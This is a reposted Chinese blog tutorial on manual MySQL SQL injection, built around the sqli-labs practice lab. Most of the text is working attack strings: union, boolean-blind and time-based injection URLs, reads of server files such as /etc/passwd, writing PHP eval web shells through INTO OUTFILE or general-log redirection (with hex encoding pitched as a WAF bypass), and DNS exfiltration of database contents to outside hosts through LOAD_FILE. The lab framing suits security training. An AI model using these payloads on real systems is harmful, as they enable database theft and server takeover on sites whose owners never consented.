可能是網(wǎng)上最易懂的SQL手工注入教程【個人筆記精華整理】(轉(zhuǎn)載)

我是技術(shù)不高,但我能帶你入門

我遇到過無數(shù)人曾來像我表示自己想學(xué)網(wǎng)絡(luò)安全,走了很多彎路,求師被騙過很多錢。

這樣的人我沒辦法幫助太多,限于時間精力與能力,幫得了1個幫不了100個,再說我也不是昔日的雷鋒了。

如今我也基本上不做滲透了,回過頭看到幾年前自己筆記中有一些注入筆記,雖然我沒有大牛水平,沒有高端操作,但我希望我能把我僅有的一些技術(shù)與資源,能夠最大程度惠及到網(wǎng)絡(luò)安全向往者身上,能夠帶領(lǐng)一部分新人步入網(wǎng)絡(luò)安全。

網(wǎng)絡(luò)安全其實跟其他行業(yè)一樣,網(wǎng)上什么教程都有,但能百度到不一定能學(xué)到,大多雜亂無章,教程更多的是表達成果,及簡要的過程。供學(xué)習(xí)者來說可消化性太低。

其實對于入門者來說最重要的是:從哪開始,如何開始,需要秉持什么樣的價值觀,而不是天天混圈子,喊這個表哥,那個大佬。

SQL注入教程說明

  • 本教程旨在帶領(lǐng)理解SQL注入基本原理與實現(xiàn)方式,以及常見的注入操作。
  • 學(xué)習(xí)SQL注入之前需要先學(xué)習(xí)基本的SQL語句,http基本的get與post請求,url編碼。
  • 本教程從筆記中整理修飾,可能連貫性不強,不夠系統(tǒng),但都是重要且需要理解的點。
  • 建議基于Sqlilab邊學(xué)習(xí)邊實踐
  • 在理解本教程完后,可以學(xué)習(xí):Sqlmap使用教程【個人筆記精華整理】

SQL手工注入入門教程

mysql基本hack函數(shù):

mid

SELECT MID(ColumnName, Start [, Length]) FROM TableName

LEFT(str,len)

返回字符串str的最左面len個字符

ASCII(str) =ORD

返回字符串str的最左面字符的ASCII代碼值。如果str是空字符串,返回0。如果str是NULL,返回NULL

SUBSTR(str,pos,len)

從str中多少個字符開始,截取多少位

CAST

SELECT CAST(’12’ AS int) 將目標(biāo)str轉(zhuǎn)化為目標(biāo)數(shù)據(jù)類型

IFNULL(expr1,expr2)

如果expr1不是NULL,IFNULL()返回expr1,否則它返回expr2

updatexml()

extracavalue()

判斷字符的一些語句:

▲left(database(),1)>’s’ //left()函數(shù)

Explain:database()顯示數(shù)據(jù)庫名稱,left(a,b)從左側(cè)截取 a 的前 b 位

▲ascii(substr((select table_name from information_schema.tables where table_schema =database()limit 0,1),1,1))=101 –+ //substr()函數(shù),ascii()函數(shù)

Explain:substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉(zhuǎn)換 為 ascii 值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函數(shù),MID()函數(shù)

Explain:mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位

Ord()函數(shù)同 ascii(),將字符轉(zhuǎn)為 ascii 值

LOAD_FILE

加載本地文件(服務(wù)器上)

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

說明:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代碼

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

說明:“c:/boot.ini”的 16 進制是“0x633a2f626f6f742e696e69”

select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’) into outfile ‘c:\wamp\www\test.php’

可以將其他路徑的文件導(dǎo)到web目錄來供訪問,一般用于把包含一句話木馬的文件導(dǎo)出成php來鏈接

get與post請求注釋符的區(qū)別

一般很容易在各種教程上看到 ‘ or and 1=1 # 或 ‘ or and 1=1 –+

但可能沒人告訴你什么情況下該用什么。

是sql語句中的注釋符,+ 在http請求中表示空格,但get與post中,由于http請求的轉(zhuǎn)義,請求到后端sql語句拼接的時候可能會不一樣。

get請求的時候一般用:

1′ and 1=1 –+

//這里最后的空格用+,在請求的時候不會被urlencode,到后端sql語句中就會成為一個正常的空格,– 后面的語句就會被注釋。

但是如果在post里最后用加號的話就會被urlencode成%2B,實際的空格被轉(zhuǎn)義才被轉(zhuǎn)義成+

uname=1%27+or+1%3D1+--%2B&passwd=111&submit=Submit

post請求的時候一般用:

這時候,在post的情況下,最后一個空格,可以直接用空格,不用+來代替,因為post參數(shù) 空格會自動轉(zhuǎn)成+;

而之所以不在get注入的時候使用“#”來注釋,是因為,請求時,“#”不會被urlencode為“%23”,被識別為錨鏈接,無法傳遞至sql語句中。

找一個庫中有哪些表名:

select table_name from information_schema where table_schema ="security";

找一個表中有哪些列名:

select column_name from information_schema where table_name ="eamils";

AND與OR的區(qū)別

需要理解 and和or的區(qū)別

image

場景舉例:

沒有訂單可以測的情況下,只能用or

image

union聯(lián)合查詢注入

當(dāng)union前面的語句為false時才會執(zhí)行后面語句(這里一定先學(xué)習(xí)union查詢的用法)

如以下,union語句前 先構(gòu)建一個錯誤條件。

www.vuln.cn/sql/less-1/?id=1' and 1=2 union select 1,user(),database() --+
www.vuln.cn/sql/less-1/?id=-1' union select 1,user(),database() --+

union與order by 后面跟著的列數(shù)是跟前面的select 列數(shù)相同的,不是該表的總列數(shù)

總列數(shù)判斷為:

www.vuln.cn/sql/less-10/?id=1" and  if((select count(*) from information_schema.columns where table_name = "emails")=2,sleep(5),1) --+

解釋:如果列數(shù)為2,則延時5秒響應(yīng)。

判斷某列是否存在也可以用:

www.vuln.cn/sql/less-10/?id=1" and exists (select username from admin)

當(dāng)union查同庫其他表時,需要知道庫名:

如:

http://www.vuln.cn/?id=-1 uni%00on se%00lect id,hash fr%00om sql3.key

讀文件/寫shell

這里包含了網(wǎng)上常見或不常見的導(dǎo)出一句話的騷操作

支持union的方法,最常規(guī)的方式:

www.vuln.cn/sql/less-10/?id=-1" union select 1,user(),3 into outfile "C:\\test.txt" --+

16進制寫shell

www.vuln.cn/sql/less-10/?id=-1" union select 0x3c,0x3f,0x6576616C28245F504F53545B785D293B3F3E into outfile "C:\\test.php" --+

其中上面的16 進制組合成的是一個一句話,其實這樣的sql可以過waf

< ? eval($_POST[x]);?>

利用分隔符寫shell

如果不支持union,可以用分隔符導(dǎo)出一句話,當(dāng)然字段數(shù)要大于2。

select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23     #分隔符也可以用16進制表示
select exp(~(select * from(select 'hello')a)) into outfile 'C:/out.txt';  //但是只能寫一個0進去。

修改sql日志路徑到web下的一個php文件

show variables like '%general%';  #查看配置
set global general_log = on;  #開啟general log模式
set global general_log_file = '/var/www/html/1.php';   #設(shè)置日志目錄為shell地址 
select '<?php eval($_POST[cmd]);?>'  #寫入shell

讀文件:

select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> UPDATE table_test
    -> SET blob_col=LOAD_FILE('/tmp/picture')
        -> WHERE id=1;

基于布爾值的盲注

  • 可以通過響應(yīng)的不同可以判斷sql語句是否正確
  • 枚舉字符來判斷字符是否存在

mysql的一些特征:

  • select 1 from information_schema.tables where table_schema="security";     這種情況后面只要為真,就會返回1
    
  • select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1;
    

當(dāng)試探第二個表的時候并不是改為limit1,1,因為limit針對的是條件篩選后的過濾,所以測試其他表的時候,繼續(xù)修改正則即可,如果us[a-z]為1,ua[a-z],說明至少有兩個表,一個表以us開頭,另一個ua開頭

  • ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 這種情況取第二個表的時候就需要limit 2,1了,因為表的排序是固定不會變的

  • select user() like ‘ro%’,有匹配的時候會返回1,

標(biāo)準的正則布爾測試:

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

比如判斷數(shù)據(jù)庫版本:

http://www.vuln.cn/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

判斷是否條件成立的其他方法:

http://www.vuln.cn/index.php?a=examtraining&c=index&id=1 and (ord(substr(database() ,1,1))-1010) &m=member&type=TF

盲注流程

獲取庫名:

and%20ord(substr(database(),1,1))>80+–+

獲取表名:

利用 substr() ascii()函數(shù)進行嘗試

http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

獲取字段名:

 http://www.vuln.cn/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
and ord(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105+--+

獲取表數(shù)據(jù):

 http://www.vuln.cn/sqllib/Less-5/?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
and ord(mid((select id from emails order by id limit 0,1),1,1))<105+--+

通過dns獲取盲注數(shù)據(jù):http://www.vuln.cn/6805

由于union后必須跟上與前面同樣的字段數(shù),所以需要把load_file放在其中,非union直接select load_file即可

dns獲取盲注數(shù)據(jù)示例:

http://www.vuln.cn/SQL/Less-8/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',(select id from emails limit 0,1),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+
http://localhost/SQL/Less-9/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',database(),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+

\foobar 后面要有一串任意字符,訪問遠程目錄的意思,所以這個“foobar”可以用任意字符替換。

還可以:

select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);

延時注入

適用于當(dāng)我們測試的時候沒有任何回顯來判斷是否有注入,比如訂單搜索,比如當(dāng)sql錯誤的時候返回與正確的相同,我們就無法通過回顯差異來判斷注入

如下圖代碼,成立與否頁面不變化

所以就需要通過判斷是否延時來確認是否有注入

http://www.vuln.cn/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
http://www.vuln.cn/sql/less-9/?id=1' and if((ord(substr(user(),1,1))=114),sleep(5),1) --+

如果過濾逗號,可以:

show fields from `tiny_nav` where field='id' and sleep(('a'=(select name from tiny_manager where id=3 union select 'a' order by 1 limit 1))*5)

還可以利用 union select 加 order by 逐字猜解…

假設(shè),name 是 admin

當(dāng) 猜出第一個字母為 ‘a(chǎn)’ 時,’a’=’a’及真。用 0,1表示的話就是1,然后 sleep(15),如果是假,那就是sleep(05)…

先基本判斷有沒有延時,然后在load_file來dns查詢

http://www.vuln.cn/SQL/Less-8/?id=1%27+and sleep(5) --+

可以

www.www.vuln.cn/sql/less-10/?id=1" and sleep(5) order by 8 --+

post注入

最大的區(qū)別在于注釋符的使用,and改為or而已

如:

') or (ord(substr(user(),1,1))>1#

轉(zhuǎn)載地址:http://www.vuln.cn/9027

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • pyspark.sql模塊 模塊上下文 Spark SQL和DataFrames的重要類: pyspark.sql...
    mpro閱讀 9,911評論 0 13
  • 錯誤回顯: count() 統(tǒng)計元祖的個數(shù)(相當(dāng)于求和),如:select count(*) from infor...
    _return_閱讀 1,056評論 0 5
  • Sql注入定義: 就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務(wù)器執(zhí)行...
    付出從未后悔閱讀 751評論 0 3
  • web應(yīng)用程序會對用戶的輸入進行驗證,過濾其中的一些關(guān)鍵字,這種過濾我們可以試著用下面的方法避開。 1、 不使用被...
    查無此人asdasd閱讀 7,656評論 0 5
  • 姓名:于川皓 學(xué)號:16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 2,043評論 0 2

友情鏈接更多精彩內(nèi)容